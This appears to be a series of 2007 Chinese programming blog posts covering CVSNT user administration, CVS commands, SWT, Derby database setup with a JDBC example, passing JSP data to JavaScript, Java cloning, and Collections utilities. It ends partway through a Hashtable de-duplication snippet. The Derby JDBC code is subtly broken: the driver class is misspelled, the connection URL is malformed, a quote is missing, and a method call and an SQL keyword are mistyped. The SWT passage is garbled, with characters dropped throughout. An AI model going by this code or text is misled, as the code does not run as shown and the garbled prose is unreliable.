    添加用户的命令的示例:

    cvs passwd –r administrator –a cvsadmin

    之后系统提示输入密码,输入后服务器会新建一个passwd文件。

    该文件的内容很简单,形式如下:

    cvsadmin:fqr1fS4gDghrt:administrator
    kid:aTXRfS31Bm6JA
    mystique:Yna4QcXz9dEqd

    以第一行为例:cvsadmin为用户名,fqr1fS4gDghrt为CVS使用UNIX标准加密函数对密码进行加密后的结果,administrator为该用户的别名,当使用混合验证方式时对应Windows系统用户名。

    注意:这个文件是不能在客户端进行修改的,不能checkout出来。

    4、group文件

    该文件定义CVSNT中组信息,同组里的用户拥有一样的权限,对组权限的修改和对用户权限的修改一样。

    group文件的内容为

    administrators:cvsadmin kid mystique
    users:User1 User2 User3

    可以看到该文件的内容也很简单,组名:用户名,多个用户名之间用空格隔开。

    Group文件可以在客户端修改,不用修改checkoutlist这个文件,系统会自动使其生效。

    作为组里面的特定成员可以赋给特定的权限。

    了解了以上内容,下面我说一下我自己的配置步骤,我没有使用WinCVS进行操作,是直接使用命令行进行修改的,觉得这样思路比较清晰:

    1、添加系统变量CVSROOT=E:/CVSNT/Repository,并把E:CVSNT加入到系统Path路径。

    2、进入命令提示符,因为此时为混合验证模式,可以不用不用登陆直接进行checkout。可以建立一个工作目录,在该目录下进行操作,我这里为E:/CVSNT/Works。

    检出CVSROOT目录:

    cvs co CVSROOT

    3、添加CVSNT系统管理员用户,此时会提示设置用户密码:

    cvs passwd –r administrator –a cvsadmin

    4、修改CVSROOT访问权限:

    cd CVSROOT
    cvs chown cvsadmin //更改所有者为cvsadmin
    cvs chacl default:n //默认权限为n
    cvs chacl cvsadmin:rwc //添加cvsadmin

    5、修改config文件,按上面的方法修改后commit:

    cvs ci

    6、此时单一验证方式已经启用了,也就是只能使用刚才添加的cvsadmin进行登录,此时可以把CVSNT控制面板上的Use local users for pserver authentication instead of domain users关掉。登录前还要改一下系统变量CVSROOT,关闭命令提示符窗口,修改CVSROOT为:

    :pserver:cvsadmin@192.168.0.1:4021/CVSNT/Repository

    这里的192.168.0.1是服务器的IP地址,/CVSNT/Repository就是前面设置Repository时设置的Name,可以改为你机器上的配置。修改系统变量之后以下的步骤在任何与服务器相连的机器上进行,当然该机器上应该有CVSNT的可执行文件。

    7、如果为了避免出现错误,先重启一下CVSNT服务器,再启动命令提示符来到E:/CVSNT/Works,因为已经启用单一验证方式,先要进行登录。

    cvs login

    输入密码,此时就是以cvsadmin登录了。

    8、添加admin文件,首先将CVSROOT检出,在CVSROOT下新建admin文件,内容为

    cvsadmin

    执行命令:

    cvs add admin
    cvs ci

    9、修改checklist文件,在该文件末尾添加一行:

    [空格]admin error message

    注意:admin前的空格不能少。

    执行命令:

    cvs ci

    经过以上步骤,可以说用户配置已经基本完成了,CVSNT可以很好的工作在单一验证方式下。进一步的管理可使用以下命令:

    添加用户: cvs passwd -a username,使用时不必理会需要添加别名的提示。

    修改用户权限:cvs chacl username:r|w|c|n,(r:Read w:write c:control n:none)

    要添加组管理,只需同添加admin步骤一样,按照格式要求新建group文件即可。

    如果还有不清楚的可以看看自带的文档,说得还是比较详细的。

    posted @ 2007-12-01 13:27 jadmin 阅读(36) | 评论 (0)编辑 收藏
    CVS

    一、什么是CVS?

    CVS――Concurrent Versions System并行版本系统;
    是一个标准的版本控制系统;
    对代码进行集中管理;
    记录代码所有的更改历史;
    提供协作开发的功能;
    支持多人同时CheckOut与合并。
    以客户端/服务器模式工作,所有的用户都在客户端进行CVS操作,而所有命令的执行都在CVS服务器端进行。

    二、CVS基本概念

    1. CVS仓库:又称主拷贝,是CVS系统保存软件资源的地方。所有项目的所有文件的所有版本都保存在这个仓库中。
    2. 版本:开发人员每次向CVS提交所做的修改就形成了一个新版本。
    3. 工作拷贝:从CVS服务器端取出的,保存在我们正在使用的客户端计算机上的代码拷贝。每个人员都有一个属于自己的工作拷贝。
    4. 检出代码(创建工作拷贝check out):从服务器取出代码,就是创建工作拷贝的过程。
    5. 提交代码(commit):将代码送到服务器保存,commit又叫作check in。
    6. 导入代码(import):将未被CVS进行版本管理的代码引入CVS系统中,由CVS开始对它进行版本管理。
    7. CVS日志:CVS用来记录每次操作的内容的信息。日志信息可以用cvs log命令来查看。
    8. 更新(update):在协同开发环境下,将其他人所作的最新修改从CVS仓库中取到你的工作拷贝中,从而使得你得工作拷贝与仓库中得最新版本保持一致。使用update是同步各个工作拷贝的手段。
    9. 冲突(conflict):在协同开发的环境下,当两个开发人员对同一个文件进行修改,并且依次提交CVS仓库时就发生了冲突。这种冲突需要开发人员手工消除,并提交到CVS仓库中形成解除冲突之后的新版本。

    三、CVS命令:

    1.设置环境变量。

    set CVSROOT=:pserver:xxx@192.168.0.226:e:/cvsroot
    
    set CVSROOT=:pserver:xxx@ansi.3322.org:e:/cvsroot

    2.签出工作版本到工作目录。
    $cd
    
    $cvs    co    account/src/common
    该命令只将account/src/common目录结构签出到本地。若使用
    $cvs co account
    则将account下所有目录结构签出来。

    3.提交修改的文件到CVS版本库中:

    $cvs    ci    <filename>
    注意若提交多个文件可以输入多个文件名,并以空格分开。若将该目录下所有文件都提交,那么只需
    $cvs    ci <回车>
    即可。

    4.提交新增加的目录或文件到CVS版本库中:

    $cvs    add    <dirname>
    
    $cvs    ci    <dirname>
    
    $cvs    add    <filename>
    
    $cvs    ci    <filename>

    5.删除目录及文件,需先删除目录下的文件

    $rm    <filename>
    
    $cvs    remove    <filename>
    
    $cvs    ci    <filename>

    再执行
    $cd ..
    $cvs up –P

    则将该空目录删除(只是删除本地工作拷贝的空目录)。

    6.查看文件状态

    $cvs status <filename>

    例如:
    $ cvs st ffun.c
    
    =================================================================
    
    File: ffun.c              Status: Up-to-date
    
         Working revision:      1.1       Wed Nov    6 11:29:04 2002
    
         Repository revision: 1.1       /szunicom/dev/billing/src/preproc/CDMA/ffun.c,v
    
         Sticky Tag:            (none)
    
         Sticky Date:           (none)
    
         Sticky Options:        (none)

    注意:最重要的是Status栏,可以有以下几种状态:

    Up-to-date

    :表明你的工作拷贝是最新的.
    Locally Modified:表明你曾经修改过该文件,但还没有提交,你的版本比仓库里的新.
    Needing Patch:表明有人已经修改过该文件并且已经提交了!你没有修改但你的工作拷贝的版本比仓库里的旧.
    Needs Merge:表明你修改了该文件但没有提交,而有人也修改了这个文件,并且提交给仓库了。

    Locally added

    :表明使用了"add"命令增加了该文件,但还没有"commit"

    Locally Removed

    :表明你使用了"remove"命令,但还没有"commit"

    Unkown

    :CVS不知道关于这个文件的情况.例如,你创建了一个新文件,而没有使用"add"命令
    解决办法:
    若状态为Locally Modified,则需执行$cvs ci <filename>
    若状态为Needing Patch或Needing Merge,则需执行$cvs up <filename>
    将版本库里的文件与工作拷贝合并后,再提交给版本库,使用命令:

    $cvs ci <filename>


    若状态为:Locallyadded,则需执行$cvs ci <filename>
    若状态为:Removed,则需执行$cvs ci <filename>
    若状态为:Unkown,则需执行$cvs add <filename>,$cvs ci <filename>。

    7.查看工作拷贝和仓库中最后版本之间的修改

    $ cvs diff src.c

    8.查看指定的两个版本之间的修改

    $ cvs diff -r 1.1 -r 1.2 <filename>

    9.版本回退(取出以前的某个版本)
    有两种方式:
    一是只把某一版本的文件输出到标准输出上:

    $cvs up –p –r <版本号> <filename>

    “-p”选项让CVS命令的结果只输出到标准输出,而不写入到结果文件中。

    另一种是将输出到标准输出的结果重定向到文件中:
    $cvs up –p –r <版本号> <filename> > <filename>

    如:目前abc.c文件的版本号为1.5,要取出1.2的版本,那么执行
    $cvs up –p –r 1.2 abc.c > abc.c

    若没有使用“-p”选项进行回退,而是使用了$cvs up –r 1.2 abc.c命令,之后若对1.2版本进行修改后再提交到CVS时,会出现如下提示信息:
    cvs ci
    
    cvs commit: Examining .
    
    cvs commit: sticky tag `1.2' for file `abc.c' is not a branch
    
    cvs [commit aborted]: correct above errors first!

    解决办法两种方式:

    1、修改CVS/Entries文件,将以下黄色标记部分删除即可。

    $cd CVS
    
    $ vi E*
    
    /abc.c/1.2/Tue Dec 17 13:33:06 2002//T1.2
    
    
    2、使用$cvs up –A abc.c命令来消除附着标签,但是该命令是将1.2版本与最新版本进行了合并,还需对abc.c进行修改再重新提交。

    10.如何恢复已经删除的文件或目录:
    1. 在执行了【Remove】命令之后恢复文件。 ◇ 【Ctrl+L】直接输入命令cvs add xxxxx,或执行【Add Selection】界面操作。 ◇ 这样就可以直接恢复还未提交的删除文件。
    2. 在执行了【Commit】命令之后恢复文件。 ◇ 只能用【Ctrl+L】直接输入命令cvs add xxxxx,这时会得到一个空的文件。 ◇ 选中这个空文件,执行【Update】操作,得到这个文件的实体。 ◇ 再次选中这个文件,执行【Commit】操作,得到这个文件最新版本。
    3. 由于CVS系统中本质上不会删除任何目录,因此,谈不上对目录的恢复,但是CVS系统默认情况下是要在用户本机上(如:YCW2000)要删除空目录,因此,可以用如下方法得到已被删除的空目录:cvs checkout -p xxx,也可以在Admin=>Preference的【Globals】页面进行设置。

    =============================================================================

    CVS是一个C/S系统,多个开发人员通过一个中心版本控制系统来记录文件版本,从而达到保证文件同步的目的。工作模式如下:

    CVS服务器(文件版本库)

    / | \ (版 本 同 步)

    / | \

    开发者1 开发者2 开发者3

    CVS(Concurrent Version System)版本控制系统是一种GNU软件包,主要用于在多人开发环境下的源码的维护。实际上CVS可以维护任意文档的开发和使用,例如共享文件的编辑修改,而不仅仅局限于程序设计。CVS维护的文件类型可以是文本类型也可以是二进制类型。CVS用Copy-Modify-Merge(拷贝、修改、合并)变化表支持对文件的同时访问和修改。它明确地将源文件的存储和用户的工作空间独立开来,并使其并行操作。CVS基于客户端/服务器的行为使其可容纳多个用户,构成网络也很方便。这一特性使得CVS成为位于不同地点的人同时处理数据文件(特别是程序的源代码)时的首选。

    所有重要的免费软件项目都使用CVS作为其程序员之间的中心点,以便能够综合各程序员的改进和更改。这些项目包括GNOME、KDE、THE GIMP和Wine等。

    CVS的基本工作思路是这样的:在一台服务器上建立一个源代码库,库里可以存放许多不同项目的源程序。由源代码库管理员统一管理这些源程序。每个用户在使用源代码库之前,首先要把源代码库里的项目文件下载到本地,然后用户可以在本地任意修改,最后用CVS命令进行提交,由CVS源代码库统一管理修改。这样,就好象只有一个人在修改文件一样,既避免了冲突,又可以做到跟踪文件变化等。

    CVS是并发版本系统(Concurrent Versions System)的意思,主流的开放源码网络透明的版本控制系统。CVS对于从个人开发者到大型,分布团队都是有用的:

    它的客户机/服务器存取方法使得开发者可以从任何因特网的接入点存取最 新的代码。它的无限制的版本管理检出(check out:注1)的模式避免了通常的因为排它 检出模式而引起的人工冲突。 它的客户端工具可以在绝大多数的平台上使用。

    CVS被应用于流行的开放源码工程中,象Mozilla,GIMP,XEmacs,KDE,和GNOME等。 那么它到底怎么样?

    你可能会说,它非常棒,但是对于 "我"来说它能做什么?首先,基本的 :一个版本控制系统保持了对一系列文件所作改变的历史记录。对于一个开发者来说,那就意味着在你对一个程 序所进行开发的整个期间,能够跟踪对其所作的所有改动的痕迹。对你来说,有没有出现过由于在令行上 按错键而导致一天的工作都白费的情况呢?版本控制系统给了你一个安全的网络。

    版本控制系统对任何人都有用,真的。(毕竟,谁不愿意使用一个安全的 网络呢?)但是它们经常被软件开发团队使用。在团队中工作的开发者需要能够调整他们的各自的修改;一个集 中式版本控制系统允许那样做。
    代码集中的配置

    个人开发者希望一个版本控制系统的安全网络能够运行在他们的本地的 一台机器上。然而,开发团队需要一个集中的服务器,所有的成员可以将服务器作为仓库来访问他们的代码。在 一个办公室中,没有问题 --只是将仓库连到本地网络上的一台服务器上就行了。对于开放源码项目...噢, 还是没有问题,这要感谢因特网。CVS内建了客户机/服务器存取方法,所以任何一个可以连到因特网上的开发 者都可以存取在一台CVS服务器上的文件。

    调整代码

    在传统的版本控制系统中,一个开发者检出一个文件,修改它,然后将 其登记回去。检出文件的开发者拥有对这个文件修改的排它权。没有其它的开发者可以检出这个文件 -- 并且只 有检出那个文件的开发者可以登记(check in:注2)所做的修改。(当然对于管理员有很多方法可以超越这个 限制。)

    想一下排它的检出可能会如何工作:Bob的兄弟检出 foo.java以便加入 注释,写好代码后他什么也没做。然后他去吃午饭了。Bob吃完午饭后,发现他的老板所指给他的一个bug在 foo.java里。他试图检出 foo.java ... 但是版本控制系统不允许他这样做,因为他的兄弟已经把它检出了。Bob不 得不等着他的兄弟吃完午饭回来(在这个 "好"日子用了两个小时),他才可以修正bug。

    在一个大型的开放源码工程中,因为开发者可能在任意的时区工作得很 晚,给予一个开发者阻止任意地方的其它开发者继续处理任意文件的能力很明显示无法运转。他们最终将因为不 能够在他们想要的时候开展项目而感到厌烦。

    CVS通过它的无限制的检出模式解决了这个问题。检出一个文件并不给定 开发者对那个文件的排它权。其它的开发者也可以对其检出,进行他们自己的修改,并且将其登记回去。

    "等一下!"你可能会说。"但是后面的登记不是会覆盖前面的吗?"回答 是不会。详细地回答就是当多个开发者对同一个文件作了修改CVS会检测,并且自动合并那些改变。

    哇噢。自动的?不用担心 -- CVS 会很小心,并且将会自动合并那些只 要不是对代码的同一行所作的改动。如果CVS不能安全的处理这些改动,开发者将不得不手工合并它们。 从此去往何处?

    到现在为止,你已经毫不犹豫地着迷于CVS 的潜力,并且急不可待地想 开始。第一步就是去得到 适合你的平台的CVS软件。安装CVS通常就是将其从你下载的压缩包中解开这么一件 事。配置CVS 可能要小心一些,它非常依赖于你使用的平台和你的CVS代码仓库的存放地。CVShome.org存放了大 量的CVS 文档:
    《Introduction to CVS》 Jim Blandy所写的一篇很棒地在线介绍。我也推荐《 Open Source Development with CVS》 Karl Fogel写的。你可以读一下我写的关 于它的评论在OpenAvenue VOX上。Karl已 经将书中关于CVS的部分置于GPL许可证之下;这篇文档在Karl的站点上以多种文档格式提供。

    《The Cederqvist》 -- 由Per Cederqvist所编写的CVS手册 -- 是一个关于CVS信息的全面资料。

    有大量的可用在许多平台上CVS 附加工具,它们给 CVS增加了功能或使得CVS更容易使用。

    posted @ 2007-11-27 20:33 jadmin 阅读(49) | 评论 (0)编辑 收藏
    SWT

           SWT-"Standard Widget Toolkit",它是一个Java平台下开放源码的Native GUI组件库,也是Eclipse平台的UI组件之一。从功能上来说,SWT与AWT/SWING是基本等价的。SWT以方便有效的方式提供了便携式的(即Write Once,Run Away)带有本地操作系统观感的UI组件。
           由于widget系统的固有复杂性以及平台之间微妙的差异,即使在理想情况下,能够达到工业标准的跨平台的widget类库也是很难编写和维护的。最早的AWT组件现在被认为是样貌丑陋的,而且存在很多问题;SWING组件虽然也是缺点多多,但是随着JDK版本的不断升高,它仍在不断进行着改进。我认为,SWT在功能上与AWT/SWING不相伯仲,但是组件更为丰富,平台表现稳定,BUG也相对较少。如果你的应用程序真的需要在多个平台上运行,需要更为美观的界面,又不那么依赖于其他基于AWT/SWING的图形库,那么SWT或许是一个比AWT/SWING更好的选择。

    =========================================

    为什么要使用SWT?

      SWT是一个IBM开发的跨平台GUI开发工具包。至于IBM费劲自己另起炉灶开发一个GUI工具包,而不是使用Sun有的由AWT, Swing, Java 2D, Java 3D等构成的Java GUI框架,那就话长了。(得在一个BBS读过一个SWT起源的的帖子)。

      在SWT之前,Sun提供了一个跨平台GUI开发工具包AWT (Abstract Windowing Toolkit)AWT框架也使用的是原生窗口部件(native widgets),但是它一直未能突破LCD问题LCD问题导致了一些主要平台特征的失。如果你不明白的(其我也没明白),话说,如果平台A有窗口部件(widgets1–40,而平台B有窗口部件(widgets20–25,那跨平台的AWT框架只能提供两个窗口部件集的交集。

      解决问题Sun建了一个新的框架。个框架不再使用原生窗口部件,而是使用仿真窗口部件(emulated widgets)。个方法然解决了LCD问题,并且提供了丰富的窗口部件集,但是它也来了新的问题。例如,Swing用程序的界面外不再和原生用程序的外相似。 然在JVMSwing用程序已得到了最大程度的性能改善,但是它们还是存在着其原生对应物所不具有的性能问题。并且,Swing用程序消耗太多的内存,这样Swing不适于一些小设备,如PDA和移动电话等。

      IBM行了尝试底解决AWTSwing框架来的上述问题。最IBM建了一个新的GUI就是SWTSWT框架通JNI访问原生窗口部件。如果在宿主(host)平台上无法找到一个窗口部件,SWT就会自地模它。

    =====================================

    Tags:java,rcp,jface,swt,ibm,eclipse,ui,gui

    posted @ 2007-11-27 15:04 jadmin 阅读(79) | 评论 (0)编辑 收藏

    在JDK环境配置好的情况下,进行如下操作:

    1.先下载最新版Derby数据库
    下载地址:http://db.apache.org/derby/
    本人下载的是:db-derby-10.3.1.4-bin.zip

    2.将db-derby-10.3.1.4-bin.zip解压到一目录下,我这里是才C:\Derby\db-derby-10.3.1.4-bin

    3.查看“系统属性”——“高级”——“环境变量”,在“系统变量”下面新建变量“DERBY_INSTALL”,值为第2步的路径值C:\Derby\db-derby-10.3.1.4-bin

    4.在CLASSPATH里增加“%DERBY_INSTALL%\lib\derby.jar;%DERBY_INSTALL%\lib\derbytools.jar;”内容

    5.进入Derby安装目录“%DERBY_INSTALL%\frameworks\embedded\bin”,双击运行文件setEmbeddedCP.bat

    6.测试Derby数据库环境是否配置成功,打开命令提示符窗口,输入信息“java org.apache.derby.tools.sysinfo”,如出现诸如下面的信息:

    C:\Documents and Settings\Administrator>java org.apache.derby.tools.sysinfo
    ------------------ Java 信息 ------------------
    Java 版本:        1.5.0_12
    Java 供应商:      Sun Microsystems Inc.
    Java 主目录:      C:\Program Files\Java\jdk1.5.0_12\jre
    Java 类路径:      .;C:\Program Files\Java\jdk1.5.0_12\lib;C:\Program Files\Java
    \jdk1.5.0_12\lib\dt.jar;C:\Program Files\Java\jdk1.5.0_12\lib\tools.jar;C:\Derby
    \db-derby-10.3.1.4-bin\lib\derby.jar;C:\Derby\db-derby-10.3.1.4-bin\lib\derbytoo
    ls.jar;C:\Program Files\Microsoft SQL Server 2000 Driver for JDBC\lib\msbase.jar
    ;C:\Program Files\Microsoft SQL Server 2000 Driver for JDBC\lib\mssqlserver.jar;
    C:\Program Files\Microsoft SQL Server 2000 Driver for JDBC\lib\msutil.jar;C:\Pro
    gram Files\MySQL\mysql-connector-java-5.0.7-bin.jar;C:\Program Files\Apache Soft
    ware Foundation\Tomcat 5.5\common\lib\servlet-api.jar;C:\Program Files\Libs\dom4
    j-1.6.1.jar
    OS 名:            Windows XP
    OS 体系结构:      x86
    OS 版本:          5.1
    Java 用户名:      Administrator
    Java 用户主目录:C:\Documents and Settings\Administrator
    Java 用户目录:    C:\Documents and Settings\Administrator
    java.specification.name: Java Platform API Specification
    java.specification.version: 1.5
    --------- Derby 信息 --------
    JRE - JDBC: J2SE 5.0 - JDBC 3.0
    [C:\Derby\db-derby-10.3.1.4-bin\lib\derby.jar] 10.3.1.4 - (561794)
    [C:\Derby\db-derby-10.3.1.4-bin\lib\derbytools.jar] 10.3.1.4 - (561794)
    ------------------------------------------------------
    ----------------- 语言环境信息 -----------------
    当前语言环境: [中文/中国 [zh_CN]]
    找到支持的语言环境:[cs]
             版本:10.3.1.4 - (561794)
    找到支持的语言环境:[de_DE]
             版本:10.3.1.4 - (561794)
    找到支持的语言环境:[es]
             版本:10.3.1.4 - (561794)
    找到支持的语言环境:[fr]
             版本:10.3.1.4 - (561794)
    找到支持的语言环境:[hu]
             版本:10.3.1.4 - (561794)
    找到支持的语言环境:[it]
             版本:10.3.1.4 - (561794)
    找到支持的语言环境:[ja_JP]
             版本:10.3.1.4 - (561794)
    找到支持的语言环境:[ko_KR]
             版本:10.3.1.4 - (561794)
    找到支持的语言环境:[pl]
             版本:10.3.1.4 - (561794)
    找到支持的语言环境:[pt_BR]
             版本:10.3.1.4 - (561794)
    找到支持的语言环境:[ru]
             版本:10.3.1.4 - (561794)
    找到支持的语言环境:[zh_CN]
             版本:10.3.1.4 - (561794)
    找到支持的语言环境:[zh_TW]
             版本:10.3.1.4 - (561794)
    ------------------------------------------------------
    Derby数据库环境已经基本配置好了

    本文作者:曦勤

    http://hi.baidu.com/jadmin

    posted @ 2007-11-27 10:24 jadmin 阅读(122) | 评论 (0)编辑 收藏

    要用开源数据库Derby了,下面先转篇入门级的文章,学习学习!

    数据库做为数据持久化存储的重要手段怎么强度都不过分,但传统的数据库都比较庞大,需要安装配置等,对于一些比较轻量级的应用来说有点象杀鸡用牛刀一样.

    Derby做为一个开源的、纯Java数据库引起了越来越多的关注,它源自IBM的CloudScape,现在成了大名鼎鼎的Apache基金会的开源项目。Apache一项是开源项目的领导者,从他们手里出去的东西都很不错,在此感谢一下这些无私奉献的人们。

    Derby做为嵌入式数据库的一个方便之处就是对数据库的一切操控都可以在Java程序代码中实现,并且它非常的小,几个jar文件总共才2M多,非常轻巧,非常便于我们程序的移植。下面说一步步的来说明一下怎样使用。

    首先,从http://db.apache.org/derby/下载Derby的最新版本,直接解压到本地,然后设置程序运行的环境变量。

    在win2000/xp中“我的电脑”--》右键--》属性--》环境变量--》变量--》添加

    1.设置JAVA_HOME

    2.设置DERBY_INSTALL(一定要是这个名字,否则可能无法正常运行),值为解压的目录

    环境变量设置好了之后,我们就可以着手写第一个测试程序了。

    和使用其它的数据库一样,首先加载数据库驱动:

    Class.forName("org.apachy.derby.jdbc.EmbeddedDriver");

    然后我们创建一个数据库:

    Connection conn=DriverManager.getConnection("jdbc.derby.derbyDB;create=true","user","pwd");

    在上面的Url中指定create=true,则创建一个新的数据库。

    得到连接之后,我们就可以象访问其它数据库一样,进行相关操作了。

    Statement st=conn.createStatement();

    st.execute("create table test1(id int,name varchar(20));

    st.execute("insert into test1 values(1,'sinboy')");

    st.execute("inert into test1 values(2,'Tom')");

    ResultSet rs=st.executeQuery("select * from test1");

    while(rs.next){

       System.out.println("id:"+rs.getInt(1)+" name:"+rs.getString(2));

    }

    rs.close();

    st.close();

    conn.commit();

    conn.close();

    Derby的最大好处应该还是小巧、纯Java、好移植,比较适全小量的数据存储。

    posted @ 2007-11-25 20:21 jadmin 阅读(421) | 评论 (0)编辑 收藏

    做项目时,经常遇到要把数据库的内容放到javascript里。不管是单个字符串(String),还是集合(array)。javascript不能直接从数据库拿东西。所以只得借助一些其他条件。比如在页面上的标签里放id,name 之类的标志。

    假如:

    1,获取字符串:

    user.getName() 是一条单个的记录。

    <div id=a><%=user.getName() %></div>

    那么javascript很容易获取 : var jsa=     document.getElementById("a").innerText; (注:innerHTML也可以获取。)

    2,获取集合,数组:

    <form name="form1">
           <table>
                      <%
         Mgr mgr=new Mgr();
         ArrayList list=mgr.getonebbs();
         for(int i=0;i<list.size();i++)
         {
           Ext role=(Ext)list.get(i);
          %>
                   <tr>
                   <td id="cid<%=i %>"><%=role.getId()%></td>
                   <td id="cname<%=i %>"><%=role.getName()%></td>
                   <td id="cpass<%=i %>"><%=role.getPass()%></td>
                   <td id="ctel<%=i %>"><%=role.getTel()%></td>
                   </tr>
                <%
          }%>
         <input type="hidden" value="<%=list.size() %>" name="hid" >
          </table>
    </form>

    javascript获取:
             var cc = document.getElementById("hid").value; //首先获取长度,下面循环输出
              var a=new Array();
                var b=new Array();
                  var c=new Array();
                    var d=new Array();
              var myData=new Array();
            for(var j=0;j<cc;j++)
            {
              a[j]= document.getElementById("cid"+j).innerText;
              b[j]= document.getElementById("cname"+j).innerText;
              c[j]= document.getElementById("cpass"+j).innerText;
              d[j]= document.getElementById("ctel"+j).innerText;
                       //      alert(a+" "+b+" "+c+" "+d+" ");     //测试
                       myData[j] =     [a[j],b[j],c[j],d[j]] ;   
            }

    这样就把数组放到myData中去了。

    3,总结:
    先把输出放到jsp页面上,               //也就是把数据查询出来
    然后在js里面获取jsp上的数据,     //通过document.获取。 单个,循环。
    然后放到string 或者 array里面。//OK

    反正感觉多做了2步似的,绕了个圈,不过没办法,人家都是这样做的。。。

    js数组的写法:
    ArrI=new Array();
    ArrI[0] = new Array("username1","0","609");
    ArrI[1] = new Array("username2","609","610");
    ArrI[2] = new Array("username3","609","611");

    ArrII=new Array(
    new Array("username1","0","609"),
    new Array("username2","609","610"),
    new Array("username3","609","611")
    );

    ArrIII=[];
    ArrIII[0] = new Array("username1","0","609");
    ArrIII[1] = new Array("username2","609","610");
    ArrIII[2] = new Array("username3","609","611");

    ArrIIII=[
    ["username1","0","609"],
    ["username2","609","610"],
    ["username3","609","611"]
    ];
    一般最后一种..
    posted @ 2007-11-10 20:02 jadmin 阅读(88) | 评论 (0)编辑 收藏

    How to clone:

    1. Implement the Cloneable interface, and

    2. Redefine the clone method with the public access modifier.


    Cloneable:

    The Cloneable interface is one of a handful of tagging interfaces that Java provides.A tagging interface has no methods; its only purpose is to allow the use of instanceof in a type inquiry:
    if (obj instanceof Cloneable) . . .
    We recommend that you do not use this technique in your own programs.


    Shallow copy:

    Even if the default (shallow copy) implementation of clone is adequate, you still need to implement the Cloneable interface, redefine clone to be public, and call super.clone(). Here is an example:

    class Employee implements Cloneable
    {
       // raise visibility level to public, change return type
       public Employee clone() throws CloneNotSupportedException
       {
          return super.clone();
       }
       . . .
    }


    Deep copy:

    class Employee implements Cloneable
    {
       . . .
       public Object clone() throws CloneNotSupportedException
       {
          // call Object.clone()
          Employee cloned = (Employee) super.clone();

          // clone mutable fields
          cloned.hireDay = (Date) hireDay.clone()

          return cloned;
       }
    }

    1 The clone method of the Object class threatens to throw a CloneNotSupportedException—it does that whenever clone is invoked on an object whose class does not implement the Cloneable interface. Of course, the Employee and Date class implements the Cloneable interface, so the exception won't be thrown.

    2
    public Employee clone()
    {
       try
       {
          return super.clone();
       }
       catch (CloneNotSupportedException e) { return null; }
       // this won't happen, since we are Cloneable
    }

    This is appropriate for final classes. Otherwise, it is a good idea to leave the tHRows specifier in place. That gives subclasses the option of throwing a CloneNotSupportedException if they can't support cloning.


    Use clone:

    public static void main(String[] args) {
         try {
            Employee original = new Employee("John Q. Public", 50000);
            original.setHireDay(2000, 1, 1);
            Employee copy = original.clone();
            copy.raiseSalary(10);
            copy.setHireDay(2002, 12, 31);
            System.out.println("original=" + original);
            System.out.println("copy=" + copy);
        }
        catch (CloneNotSupportedException e) {
            e.printStackTrace();
        }
    }

    posted @ 2007-11-10 10:39 jadmin 阅读(70) | 评论 (0)编辑 收藏

    1。list方法。   将 Enumeration 类型转换成list类型

    2。swap方法。方便的调换一个list中的两个元素的位置。

    3。lastIndexOfSubList方法。从一个list中从后面开始查找另外一个list第一次出现的位置。

    4。rotate方法。在一个list中,顺序移动每一个元素的位置到指定的位置。

    5。replaceAll方法。用指定的元素替换一个list中所用匹配的元素。

    6。indexOfSubList方法。从一个list中从前面开始查找另外一个list第一次出现的位置。

    示例程序:

    import java.util.*;

    class TestCollections {

    public static void main(String[] args) {
    TestCollections t = new TestCollections();
    t.testList();
    }
    public void testList() {
    Vector v = new Vector();
    v.add("a");
    v.add("b");
    Enumeration e = v.elements() ;
    List l = Collections.list(e);
    System.out.println(l);
    }

    public void testSwap() {
    List l = new ArrayList();
    l.add("t");
    l.add("a");
    l.add("n");
    l.add("k");
    l.add("s");
    System.out.println(l);
    Collections.swap(l,1,3);
    System.out.println(l);
    }

    public void testLastIndexOfSubList() {
    List l = new ArrayList();
    l.add("a");
    l.add("b");
    l.add("c");
    l.add("d");
    l.add("e");
    l.add("a");
    l.add("b");
    l.add("c");
    l.add("d");
    l.add("e");
    List l2 = new ArrayList();
    l2.add("b");
    l2.add("c");
    l2.add("d");
    int result = Collections.lastIndexOfSubList(l,l2);
    if(result != -1) {
       System.out.println("!!! " + result + ". Found from " + l + " with " + l2);
    } else {
       System.out.println("!!! Not found from " + l + " with " + l2);
    }
    List l3 = new ArrayList();
    l3.add("b");
    l3.add("d");
    l3.add("d");
    result = Collections.lastIndexOfSubList(l,l3);
    if(result != -1) {
       System.out.println("!!! " + result + ". Found from " + l + " with " + l3);
    } else {
       System.out.println("!!! Not found from " + l + " with " + l3);
    }
    }
    public void testRotate() {
    List l = new ArrayList();
    l.add("t");
    l.add("a");
    l.add("n");
    l.add("k");
    l.add("s");
    System.out.println(l);
    Collections.rotate(l,1);
    System.out.println(l);

    //
       l = new ArrayList();
    l.add("t");
    l.add("a");
    l.add("n");
    l.add("k");
    l.add("s");
    System.out.println(l);
    Collections.rotate(l,-4);
    System.out.println(l);

       l = new ArrayList();
    l.add("a");
    l.add("b");
    l.add("c");
    l.add("d");
    l.add("e");
    System.out.println(l);
    Collections.rotate(l.subList(1, 4), -1);
    System.out.println(l);


    }

    public void testReplaceAll() {
    List l = new ArrayList();
    l.add("t");
    l.add("a");
    l.add("n");
    l.add("a");
    l.add("s");
    System.out.println(l);
    boolean b = Collections.replaceAll(l,"a","hello");
    System.out.println(l);
    System.out.println(b);

    // not found
    b = Collections.replaceAll(l,"a","hello");
    System.out.println(b);

    }

    public void testIndexOfSubList() {
    List l = new ArrayList();
    l.add("a");
    l.add("b");
    l.add("c");
    l.add("d");
    l.add("e");
    List l2 = new ArrayList();
    l2.add("b");
    l2.add("c");
    l2.add("d");
    int result = Collections.indexOfSubList(l,l2);
    if(result != -1) {
       System.out.println("!!! " + result + ". Found from " + l + " with " + l2);
    } else {
       System.out.println("!!! Not found from " + l + " with " + l2);
    }
    List l3 = new ArrayList();
    l3.add("b");
    l3.add("d");
    l3.add("d");
    result = Collections.indexOfSubList(l,l3);
    if(result != -1) {
       System.out.println("!!! " + result + ". Found from " + l + " with " + l3);
    } else {
       System.out.println("!!! Not found from " + l + " with " + l3);
    }
    }
    }

    posted @ 2007-11-08 07:37 jadmin 阅读(63) | 评论 (0)编辑 收藏
    1.在一些字符串数组中,常会有重复的记录,比如手机号码,我们可以通过Hashtable来对其进行过滤
    public String[] checkArray(String[] str)...{
            Hashtable<String, String> hash=new Hashtable<String, String>();

            for(int i=0;i<str.length;i++)...{
                if(!hash.containsKey(str[i]))
                    hash.put(str[i], str[i]);
            }

            Enumeration enumeration=hash.keys();
            String[] str_new=new String[hash.size()];
            int i=0;

            while(enumeration.hasMoreElements())...{
                str_new[i]=enumeration.nextElement().toString();
